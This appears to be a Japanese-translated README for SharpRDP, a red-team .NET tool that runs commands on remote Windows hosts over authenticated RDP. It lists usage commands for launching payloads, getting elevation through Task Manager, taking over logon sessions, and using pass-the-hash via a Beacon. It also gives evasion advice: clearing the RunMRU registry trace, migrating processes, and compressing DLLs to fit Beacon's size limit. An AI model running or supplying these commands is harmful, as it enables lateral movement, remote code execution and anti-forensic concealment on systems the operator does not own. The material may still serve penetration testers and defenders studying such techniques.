
リモートデスクトッププロトコル .NET コンソールアプリケーション - 認証済みコマンド実行用
コンパイルするには、Visual Studio でプロジェクトを開き、リリースビルドを行います。2つのDLLがReleaseディレクトリに出力されますが、アセンブリに含まれているためこれらは必要ありません。
提供されたDLLを使用したくない場合は、.NET SDK を使用して AxMSTSCLib.dll DLL を作成する必要があります。作成するには、SDK の aximp を mstscax.dll に対して実行する必要があります: %<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll。これらのDLLは、Interop DLL を作成するためにプロジェクトで参照する必要があります。
また、DLL を Deflate で圧縮し、AxInterop.MSTSCLib.dll.bin および Interop.MSTSCLib.dll.bin という名前にする必要があります。
Regular RDP connection and execution
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
Exec program as child process of cmd or powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
Use restricted admin mode
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
Connect first host drives
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
Execute command elevated through Run Dialog - CURRENTLY BUGGED
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
Execute command elevated through task manager
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
Add Network Level Authentication
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
Ask to take over logon session
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
ターゲットで制限付き管理モードが有効な場合、認証情報を指定せずに現在のユーザーコンテキストを使用します。Beacon 内で PTH や make_token 、Windows システム上で runas /netonly が使用できます。
すべての実行は Windows のファイル名を指定して実行(Win+R)から開始されます。実行したコマンドを含むレジストリキーが HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU に作成されます。これを削除したい場合は、次のツールを使用できます: CleanRunMRU: RunMRU 値の取得またはクリア
msbuild のようなプログラムを実行すると、プロセス実行中に cmd ウィンドウがポップアップすることに注意してください(他にもあるでしょう)。その場合は、プロセスを移行して元のプロセスを強制終了するのがおそらく最善です。
必要な DLL はアセンブリにコンパイルされており、アプリケーションドメインのアセンブリ解決イベントが使用されます。DLL のサイズが大きいため、実行時に圧縮/展開されます(これにより beacon の1MBサイズ制限を満たせます)。
ブログ記事はこちら: SharpRDP
また、MoveKit の一部です。